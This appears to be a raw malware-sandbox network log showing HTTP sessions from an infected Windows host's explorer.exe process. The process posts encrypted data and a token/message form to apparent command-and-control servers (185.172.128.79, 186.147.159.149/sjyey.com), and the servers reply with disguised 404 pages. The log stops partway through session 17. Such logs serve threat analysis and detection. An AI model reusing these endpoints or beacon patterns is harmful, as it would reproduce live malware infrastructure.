Feb 5, 2024 10:58:31.854995966 CET	471	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDB Host: 185.172.128.79 Content-Length: 270 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 65 30 65 63 35 31 64 65 30 31 35 65 38 62 61 30 62 63 34 64 34 37 63 66 61 66 38 64 61 63 32 33 63 39 64 63 34 33 34 66 35 61 61 30 36 39 33 30 32 39 61 34 37 37 38 62 61 62 66 63 66 36 31 36 66 39 30 33 66 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 2d 2d 0d 0a Data Ascii: ------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="token"99e0ec51de015e8ba0bc4d47cfaf8dac23c9dc434f5aa0693029a4778babfcf616f903f5------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="message"jbdtaijovg------AFCFHJJECAEHJJKEHIDB--
Feb 5, 2024 10:58:32.188807011 CET	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:58:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49769	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:17.629457951 CET	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rlebhvqmydkpsj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 319 Host: sjyey.com
Feb 5, 2024 10:58:17.629487038 CET	319	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 64 3c fb a1 Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA .[k,vud<n'}kvv0Xw3*_EzlFZO2!\Fo=\AAKO%p_~W&O[t3h8F?{Y
Feb 5, 2024 10:58:18.204128027 CET	253	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 09:58:18 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 8 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 04 00 00 00 72 e8 85 ee Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49770	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:18.367031097 CET	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ytolgxqarfjhnfha.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 197 Host: sjyey.com
Feb 5, 2024 10:58:18.367058992 CET	197	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0a 6b 2c 90 f5 76 0b 75 76 2a ac 92 Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA -[k,vuv*]_qB>Kjr8i^LP6R,E!5VQ_L%/+dq=l
Feb 5, 2024 10:58:18.928528070 CET	587	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 09:58:18 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49771	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:19.091125011 CET	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pwttlxeicmragl.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 208 Host: sjyey.com
Feb 5, 2024 10:58:19.091164112 CET	208	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0b 6b 2c 90 f5 76 0b 75 3e 54 a0 f0 Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA -[k,vu>TGmQs0K,Qj60BzP8Cf[R 7JC+"zBP5n
Feb 5, 2024 10:58:19.657799006 CET	238	IN	HTTP/1.1 200 OK Date: Mon, 05 Feb 2024 09:58:19 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49772	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:19.848758936 CET	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://roldxkbdfrvihn.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 204 Host: sjyey.com
Feb 5, 2024 10:58:19.848787069 CET	204	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 08 6b 2c 90 f5 76 0b 75 32 0e f0 ea Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA -[k,vu2hV~@I(gY0tsa4xF<V^ :!'UCQY>66:xeh^&
Feb 5, 2024 10:58:20.429506063 CET	587	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 09:58:20 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49773	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:20.616822958 CET	279	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ydhfkhmywwjq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 160 Host: sjyey.com
Feb 5, 2024 10:58:20.616853952 CET	160	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 09 6b 2c 90 f5 76 0b 75 4e 17 c8 a5 Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA -[k,vuNwROe$M\|7>GY?"jT\|V^C%$V;KDvLLE
Feb 5, 2024 10:58:21.191931963 CET	587	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 09:58:20 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49774	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:21.367140055 CET	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://danyyrmwhfhcsx.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 142 Host: sjyey.com
Feb 5, 2024 10:58:21.367168903 CET	142	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0e 6b 2c 90 f5 76 0b 75 33 18 d1 f4 Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA -[k,vu3_F]yX_!(~7k8?plhT2+
Feb 5, 2024 10:58:21.943784952 CET	587	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 09:58:21 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49775	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:22.270566940 CET	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dvnpcbhijctmaca.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 145 Host: sjyey.com
Feb 5, 2024 10:58:22.270607948 CET	145	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0f 6b 2c 90 f5 76 0b 75 5e 0b d8 8e Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA -[k,vu^r"NS{VBywwdgc}QeU\W%t(#
Feb 5, 2024 10:58:23.035595894 CET	238	IN	HTTP/1.1 200 OK Date: Mon, 05 Feb 2024 09:58:22 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49776	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:24.338673115 CET	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nbnbvbpnogxwl.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 176 Host: sjyey.com
Feb 5, 2024 10:58:24.338713884 CET	176	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0c 6b 2c 90 f5 76 0b 75 3f 0a ce e3 Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA -[k,vu?S2v~]V]_<!N\i[aGCM/RIzPt-w!W)Y@
Feb 5, 2024 10:58:25.104132891 CET	587	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 09:58:24 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49777	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:25.268161058 CET	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vbtwuxfxyjs.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 176 Host: sjyey.com
Feb 5, 2024 10:58:25.268201113 CET	176	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0d 6b 2c 90 f5 76 0b 75 50 43 b8 87 Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA -[k,vuPC_d2/vS$a['bGWdJV65(BbEVH-BG9Y{
Feb 5, 2024 10:58:25.837876081 CET	293	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 09:58:25 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 47 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 06 67 52 e4 34 05 f5 f4 4e fd 9b ac a9 2d 99 61 c5 f0 2c 4e 1a c3 db c1 c4 74 d3 Data Ascii: #\6gR4N-a,Nt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49779	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:29.919380903 CET	278	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://weweyuoplxf.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 287 Host: sjyey.com
Feb 5, 2024 10:58:29.919413090 CET	287	OUT	Data Raw: 3b 6e 56 14 f7 cf 1a 24 d9 af b4 02 0f 03 0b ca 7d 79 ba ed 1d 04 9e 15 7c 75 7c 95 46 c3 b2 6a 9b 5c c4 20 06 1f 21 11 eb 9d 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2c 5b 0d 6b 2c 90 f4 76 0b 75 6e 54 df e1 Data Ascii: ;nV$}y\|u\|Fj\ !? 9Yt M@NA ,[k,vunToRtYE0jER1>T?zdEO3>7;9}i@<uZWOMJr4y^CO? HX#0\|[4%g
Feb 5, 2024 10:58:30.479397058 CET	587	IN	HTTP/1.0 404 Not Found Date: Mon, 05 Feb 2024 09:58:30 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49780	186.147.159.149	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:58:30.664680958 CET	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lfhawjjtckuxl.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 320 Host: sjyey.com
